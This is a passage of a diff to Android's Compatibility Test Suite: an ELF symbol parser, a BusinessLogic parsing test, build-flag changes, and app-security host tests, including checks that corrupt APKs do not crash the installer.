+ mVerDefArr[i].vd_verdaux = new VerDAux[mVerDefArr[i].vd_cnt];
+ long idxAux = idx + mVerDefArr[i].vd_aux;
+ for (int j = 0; j < mVerDefArr[i].vd_cnt; j++) {
+ mFile.seek(idxAux);
+ mVerDefArr[i].vd_verdaux[j] = new VerDAux(readWord(), readWord());
+ mVerDefArr[i].vd_verdaux[j].vda_lib_name =
+ readDynStrTabEntry(mVerDefArr[i].vd_verdaux[j].vda_name).toLowerCase();
+ idxAux += mVerDefArr[i].vd_verdaux[j].vda_next;
+ }
+ idx += mVerDefArr[i].vd_next;
+ System.out.println(mVerDefArr[i]);
+ }
+ }
+ return mVerDefArr;
+ }
+
+ private int readHalf() throws IOException {
+ return (int) readX(2);
+ }
+
+ private long readWord() throws IOException {
+ return readX(4);
+ }
+
+ private long readOff() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readAddr() throws IOException {
+ return readX(mAddrSize);
+ }
+
+ private long readX(int byteCount) throws IOException {
+ mFile.readFully(mBuffer, 0, byteCount);
+
+ int answer = 0;
+ if (mEndian == ELFDATA2LSB) {
+ for (int i = byteCount - 1; i >= 0; i--) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ } else {
+ final int N = byteCount - 1;
+ for (int i = 0; i <= N; ++i) {
+ answer = (answer << 8) | (mBuffer[i] & 0xff);
+ }
+ }
+
+ return answer;
+ }
+
+ private String readString(long offset) throws IOException {
+ long originalOffset = mFile.getFilePointer();
+ mFile.seek(offset);
+ mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+ mFile.seek(originalOffset);
+
+ for (int i = 0; i < mBuffer.length; ++i) {
+ if (mBuffer[i] == 0) {
+ return new String(mBuffer, 0, i);
+ }
+ }
+
+ return null;
+ }
+
+ private int readByte() throws IOException {
+ return mFile.read() & 0xff;
+ }
+
+ public Symbol getSymbol(String name) {
+ if (mSymbols == null) {
+ try {
+ mSymArr = new Symbol[mSymEntCnt];
+ mSymbols =
+ readSymbolTable(
+ mSymArr,
+ false,
+ mStrTabOffset,
+ mStrTabSize,
+ mSymTabOffset,
+ mSymTabSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mSymbols.get(name);
+ }
+
+ public Symbol getDynamicSymbol(String name) throws IOException {
+ if (mDynamicSymbols == null) {
+ try {
+ int[] verSmyArr = this.getVerSym();
+ VerNeed[] verNeedArr = this.getVerNeedArr();
+ VerDef[] verDefArr = this.getVerDef();
+ mDynSymArr = new Symbol[mDynSymEntCnt];
+ mDynamicSymbols =
+ readSymbolTable(
+ mDynSymArr,
+ true,
+ mDynStrOffset,
+ mDynStrSize,
+ mDynSymOffset,
+ mDynSymSize);
+ } catch (IOException e) {
+ return null;
+ }
+ }
+ return mDynamicSymbols.get(name);
+ }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
new file mode 100644
index 0000000..99b5239
--- /dev/null
+++ b/common/util/tests/src/com/android/compatibility/common/util/BusinessLogicTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRule;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleAction;
+import com.android.compatibility.common.util.BusinessLogic.BusinessLogicRuleCondition;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * Unit tests for {@link BusinessLogic}
+ */
+@RunWith(JUnit4.class)
+public class BusinessLogicTest {
+
+ private static final String CORRECT_LOGIC =
+ "{\n" +
+ " \"name\": \"businessLogic/suites/gts\",\n" +
+ " \"businessLogicRulesLists\": [\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName1\",\n" +
+ " \"businessLogicRules\": [\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName2\",\n" +
+ " \"businessLogicRules\": [\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"ruleConditions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"conditionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\"\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"methodName\": \"!conditionMethodName2\",\n" + // use negation
+ " \"methodArgs\": [\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " }\n" +
+ " ],\n" +
+ " \"ruleActions\": [\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName1\",\n" +
+ " \"methodArgs\": [\n" +
+ " \"arg1\",\n" +
+ " \"arg2\"\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"methodName\": \"actionMethodName2\"\n" +
+ " }\n" +
+ " ]\n" +
+ " }\n" +
+ " ]\n" +
+ " },\n" +
+ " {\n" +
+ " \"testName\": \"testCaseName3\"\n" +
+ " }\n" +
+ " ]\n" +
+ "}";
+
+ @Test
+ public void testCorrectLogic() throws Exception {
+ File file = createFileFromStr(CORRECT_LOGIC);
+ try {
+ BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+ assertEquals("Wrong number of business logic rule lists", 3, bl.mRules.size());
+
+ List<BusinessLogicRule> ruleList1 = bl.mRules.get("testCaseName1");
+ assertEquals("Wrong number of rules in first rule list", 1, ruleList1.size());
+ BusinessLogicRule rule1 = ruleList1.get(0);
+ List<BusinessLogicRuleCondition> rule1Conditions = rule1.mConditions;
+ assertEquals("Wrong number of conditions", 1, rule1Conditions.size());
+ BusinessLogicRuleCondition rule1Condition = rule1Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule1Condition.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule1Condition.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule1Condition.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule1Condition.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule1Actions = rule1.mActions;
+ assertEquals("Wrong number of actions", 1, rule1Actions.size());
+ BusinessLogicRuleAction rule1Action = rule1Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule1Action.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule1Action.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule1Action.mMethodArgs.get(0));
+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule1Action.mMethodArgs.get(1));
+
+ List<BusinessLogicRule> ruleList2 = bl.mRules.get("testCaseName2");
+ assertEquals("Wrong number of rules in second rule list", 2, ruleList2.size());
+ BusinessLogicRule rule2 = ruleList2.get(0);
+ List<BusinessLogicRuleCondition> rule2Conditions = rule2.mConditions;
+ assertEquals("Wrong number of conditions", 1, rule2Conditions.size());
+ BusinessLogicRuleCondition rule2Condition = rule2Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule2Condition.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule2Condition.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule2Condition.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule2Condition.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule2Actions = rule2.mActions;
+ assertEquals("Wrong number of actions", 1, rule2Actions.size());
+ BusinessLogicRuleAction rule2Action = rule2Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule2Action.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule2Action.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule2Action.mMethodArgs.get(0));
+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule2Action.mMethodArgs.get(1));
+ BusinessLogicRule rule3 = ruleList2.get(1);
+ List<BusinessLogicRuleCondition> rule3Conditions = rule3.mConditions;
+ assertEquals("Wrong number of conditions", 2, rule3Conditions.size());
+ BusinessLogicRuleCondition rule3Condition1 = rule3Conditions.get(0);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName1", rule3Condition1.mMethodName);
+ assertFalse("Wrong negation value for business logic rule condition",
+ rule3Condition1.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule3Condition1.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg1",
+ rule3Condition1.mMethodArgs.get(0));
+ BusinessLogicRuleCondition rule3Condition2 = rule3Conditions.get(1);
+ assertEquals("Wrong method name for business logic rule condition",
+ "conditionMethodName2", rule3Condition2.mMethodName);
+ assertTrue("Wrong negation value for business logic rule condition",
+ rule3Condition2.mNegated);
+ assertEquals("Wrong arg string count for business logic rule condition", 1,
+ rule3Condition2.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule condition", "arg2",
+ rule3Condition2.mMethodArgs.get(0));
+ List<BusinessLogicRuleAction> rule3Actions = rule3.mActions;
+ assertEquals("Wrong number of actions", 2, rule3Actions.size());
+ BusinessLogicRuleAction rule3Action1 = rule3Actions.get(0);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName1", rule3Action1.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 2,
+ rule3Action1.mMethodArgs.size());
+ assertEquals("Wrong arg for business logic rule action", "arg1",
+ rule3Action1.mMethodArgs.get(0));
+ assertEquals("Wrong arg for business logic rule action", "arg2",
+ rule3Action1.mMethodArgs.get(1));
+ BusinessLogicRuleAction rule3Action2 = rule3Actions.get(1);
+ assertEquals("Wrong method name for business logic rule action",
+ "actionMethodName2", rule3Action2.mMethodName);
+ assertEquals("Wrong arg string count for business logic rule action", 0,
+ rule3Action2.mMethodArgs.size());
+
+ List<BusinessLogicRule> ruleList3 = bl.mRules.get("testCaseName3");
+ assertEquals("Wrong number of rules in third rule list", 0, ruleList3.size());
+ } finally {
+ FileUtil.deleteFile(file);
+ }
+ }
+
+ @Test(expected = RuntimeException.class)
+ public void testLogicWithWrongNodeName() throws Exception {
+ File file = createFileFromStr(CORRECT_LOGIC.replace("testName", "testNam3"));
+ try {
+ BusinessLogic bl = BusinessLogicFactory.createFromFile(file);
+ } finally {
+ FileUtil.deleteFile(file);
+ }
+ }
+
+ private static File createFileFromStr(String blString) throws IOException {
+ File file = File.createTempFile("test", "bl");
+ FileOutputStream stream = new FileOutputStream(file);
+ stream.write(blString.getBytes());
+ stream.flush();
+ stream.close();
+ return file;
+ }
+}
diff --git a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
index 9f8235c..6333342 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
@@ -15,30 +15,28 @@
*/
package com.android.compatibility.common.util;
-import junit.framework.Test;
-import junit.framework.TestSuite;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
/**
* A test suite for all util unit tests.
* <p/>
* All tests listed here should be self-contained, and do not require any external dependencies.
*/
-public class UnitTests extends TestSuite {
-
- public UnitTests() {
- super();
- addTestSuite(CaseResultTest.class);
- addTestSuite(DynamicConfigTest.class);
- addTestSuite(LightInvocationResultTest.class);
- addTestSuite(MetricsXmlSerializerTest.class);
- addTestSuite(MultipartFormTest.class);
- addTestSuite(ReportLogTest.class);
- addTestSuite(ResultHandlerTest.class);
- addTestSuite(StatTest.class);
- addTestSuite(TestResultTest.class);
- }
-
- public static Test suite() {
- return new UnitTests();
- }
+@RunWith(Suite.class)
+@SuiteClasses({
+ BusinessLogicTest.class,
+ CaseResultTest.class,
+ DynamicConfigTest.class,
+ LightInvocationResultTest.class,
+ MetricsXmlSerializerTest.class,
+ MultipartFormTest.class,
+ ReportLogTest.class,
+ ResultHandlerTest.class,
+ StatTest.class,
+ TestResultTest.class,
+})
+public class UnitTests {
+ // empty on purpose
}
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index c2b0c79..25d9344 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -16,8 +16,11 @@
LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
-Xep:BoxedPrimitiveConstructor:ERROR \
-Xep:ConstantField:ERROR \
+ -Xep:EqualsIncompatibleType:ERROR \
-Xep:FormatString:ERROR \
-Xep:GetClassOnClass:ERROR \
+ -Xep:IdentityBinaryExpression:ERROR \
+ -Xep:JUnit3TestNotRun:ERROR \
-Xep:JUnitAmbiguousTestClass:ERROR \
-Xep:MissingFail:ERROR \
-Xep:MissingOverride:ERROR \
@@ -26,5 +29,6 @@
-Xep:RemoveUnusedImports:ERROR \
-Xep:ReturnValueIgnored:ERROR \
-Xep:SelfEquals:ERROR \
- -Xep:SizeGreaterThanOrEqualsZero:ERROR
+ -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+ -Xep:TryFailThrowable:ERROR
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index 78cb3a0..d17828d 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -15,7 +15,11 @@
# Set of error prone rules to ensure code quality of tests
# Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:JUnit3TestNotRun:ERROR \
- -Xep:JUnitAmbiguousTestClass:ERROR \
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
+ -Xep:CollectionIncompatibleType:ERROR \
+ -Xep:EqualsNaN:ERROR \
+ -Xep:FormatString:ERROR \
+ -Xep:JUnit3TestNotRun:ERROR \
+ -Xep:SizeGreaterThanOrEqualsZero:ERROR \
-Xep:TryFailThrowable:ERROR
diff --git a/hostsidetests/aadb/Android.mk b/hostsidetests/aadb/Android.mk
index 5cc2c10..5f0a967 100644
--- a/hostsidetests/aadb/Android.mk
+++ b/hostsidetests/aadb/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.aadb
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
index 88c44d9..0877b43 100644
--- a/hostsidetests/abioverride/Android.mk
+++ b/hostsidetests/abioverride/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index cdf063c..a246f72 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -34,7 +34,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAbiOverrideTestApp
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 8391b99..2a8c819 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -28,11 +28,12 @@
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_REQUIRED_MODULES := \
CtsCorruptApkTests_b71360999 \
- CtsCorruptApkTests_b71361168
+ CtsCorruptApkTests_b71361168 \
+ CtsCorruptApkTests_b79488511
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index b1ac744..90b89af 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -20,16 +20,24 @@
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.ITestLogger;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestLoggerReceiver;
+import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.result.LogDataType;
import com.android.tradefed.targetprep.BuildError;
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.ITargetPreparer;
import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.util.StreamUtil;
/**
* Creates secondary and tertiary users for use during a test suite.
*/
-public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner {
+public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner, ITestLoggerReceiver {
+
+ private ITestLogger mLogger;
+
@Override
public void setUp(ITestDevice device, IBuildInfo buildInfo)
throws TargetSetupError, BuildError, DeviceNotAvailableException {
@@ -38,13 +46,23 @@
removeSecondaryUsers(device);
final int maxUsers = device.getMaxNumberOfUsersSupported();
- if (maxUsers > 1) {
- CLog.logAndDisplay(LogLevel.INFO,
- "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
- }
- if (maxUsers > 2) {
- CLog.logAndDisplay(LogLevel.INFO,
- "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ try {
+ if (maxUsers > 1) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ if (maxUsers > 2) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+ }
+ } catch (IllegalStateException e) {
+ InputStreamSource logcat = device.getLogcatDump();
+ try {
+ mLogger.testLog("AppSecurityPrep_failed_create_user", LogDataType.LOGCAT, logcat);
+ } finally {
+ StreamUtil.cancel(logcat);
+ }
+ throw new TargetSetupError("Failed to create user.", e, device.getDeviceDescriptor());
}
}
@@ -61,4 +79,9 @@
CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
}
}
+
+ @Override
+ public void setTestLogger(ITestLogger testLogger) {
+ mLogger = testLogger;
+ }
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
new file mode 100644
index 0000000..e291771
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String PKG = "com.android.cts.classloadersplitapp";
+ private static final String TEST_CLASS = PKG + ".SplitAppTest";
+
+ /* The feature hierarchy looks like this:
+
+ APK_BASE (PathClassLoader)
+ ^
+ |
+ APK_FEATURE_A (DelegateLastClassLoader)
+ ^
+ |
+ APK_FEATURE_B (PathClassLoader)
+
+ */
+
+ private static final String APK_BASE = "CtsClassloaderSplitApp.apk";
+ private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
+ private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
+
+ private IBuildInfo mBuildInfo;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ getDevice().uninstallPackage(PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testBaseClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ }
+
+ public void testFeatureAClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ }
+
+ public void testFeatureBClassLoader() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+ }
+
+ public void testReceiverClassLoaders() throws Exception {
+ new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildInfo = buildInfo;
+ }
+
+ private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+ public InstallMultiple() {
+ super(getDevice(), mBuildInfo, null);
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 3220de6..933b395 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -34,7 +34,8 @@
*/
public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
private final String B71360999_PKG = "com.android.appsecurity.b71360999";
- private final String B71361168_PKG = "com.example.helloworld";
+ private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+ private final String B79488511_PKG = "com.android.appsecurity.b79488511";
private IBuildInfo mBuildInfo;
@@ -49,6 +50,7 @@
super.setUp();
uninstall(B71360999_PKG);
uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
}
@After
@@ -57,6 +59,7 @@
super.tearDown();
uninstall(B71360999_PKG);
uninstall(B71361168_PKG);
+ uninstall(B79488511_PKG);
}
/** Uninstall the apk if the test failed previously. */
@@ -72,7 +75,7 @@
*/
public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
- assertFailsToInstall(APK_PATH, B71360999_PKG);
+ assertInstallNoFatalError(APK_PATH, B71360999_PKG);
}
/**
@@ -80,31 +83,38 @@
*/
public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
- assertFailsToInstall(APK_PATH, B71361168_PKG);
+ assertInstallNoFatalError(APK_PATH, B71361168_PKG);
}
/**
- * Assert that the app fails to install and the reason for failing is not caused by a buffer
- * overflow nor a out of bounds read.
+ * Tests that apks described in b/79488511 do not install successfully.
+ */
+ public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+ final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+ assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+ }
+
+ /**
+ * Assert that installing the app does not cause a native error caused by a buffer overflow
+ * or an out-of-bounds read.
**/
- private void assertFailsToInstall(String filename, String pkg) throws Exception {
+ private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
ITestDevice device = getDevice();
device.clearLogcat();
-
final String result = device.installPackage(
new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
true /*reinstall*/);
- assertNotNull(result);
- assertFalse(result.isEmpty());
- assertFalse(device.getInstalledPackageNames().contains(pkg));
+ // Starting from P, corrupt apks should always fail to install
+ if (device.getApiLevel() >= 28) {
+ assertNotNull(result);
+ assertFalse(result.isEmpty());
+ assertFalse(device.getInstalledPackageNames().contains(pkg));
+ }
// This catches if the device fails to install the app because a segmentation fault
// or out of bounds read created by the bug occurs
File tmpTxtFile = null;
-
- // This isn't a closable in AOSP, so we use cancel instead.
- @SuppressWarnings("MustBeClosedChecker")
InputStreamSource source = device.getLogcat(200 * 1024);
try {
assertNotNull(source);
@@ -114,7 +124,7 @@
assertFalse(s.contains("SIGSEGV"));
assertFalse(s.contains("==ERROR"));
} finally {
- source.cancel();
+ source.close();
if (tmpTxtFile != null) {
FileUtil.deleteFile(tmpTxtFile);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..ddec487 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -175,7 +175,7 @@
doTest = false;
}
getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
- getDevice().waitForDeviceOnline();
+ getDevice().waitForDeviceOnline(120000);
} else {
getDevice().rebootUntilOnline();
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index fd599ea..51fa77b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -29,6 +29,9 @@
private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
+ private static final String INSTANT_COOKIE_APP_APK_2 = "CtsInstantCookieApp2.apk";
+ private static final String INSTANT_COOKIE_APP_PKG_2 = "test.instant.cookie";
+
private CompatibilityBuildHelper mBuildHelper;
@Override
@@ -42,12 +45,13 @@
Utils.prepareSingleUser(getDevice());
uninstallPackage(INSTANT_COOKIE_APP_PKG);
- clearUserData(INSTANT_COOKIE_APP_PKG);
+ clearAppCookieData();
}
@Override
protected void tearDown() throws Exception {
uninstallPackage(INSTANT_COOKIE_APP_PKG);
+ clearAppCookieData();
}
public void testCookieUpdateAndRetrieval() throws Exception {
@@ -85,8 +89,14 @@
"testCookieResetOnNonInstantReinstall2");
}
- private String clearUserData(String packageName) throws DeviceNotAvailableException {
- return getDevice().executeShellCommand("pm clear " + packageName);
+ public void testCookieValidWhenSingedWithTwoCerts() throws Exception {
+ assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+ runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+ "testCookiePersistedAcrossInstantInstalls1");
+ uninstallPackage(INSTANT_COOKIE_APP_PKG);
+ assertNull(installPackage(INSTANT_COOKIE_APP_APK_2, true, true));
+ runDeviceTests(INSTANT_COOKIE_APP_PKG_2, "test.instant.cookie.CookieTest",
+ "testCookiePersistedAcrossInstantInstalls2");
}
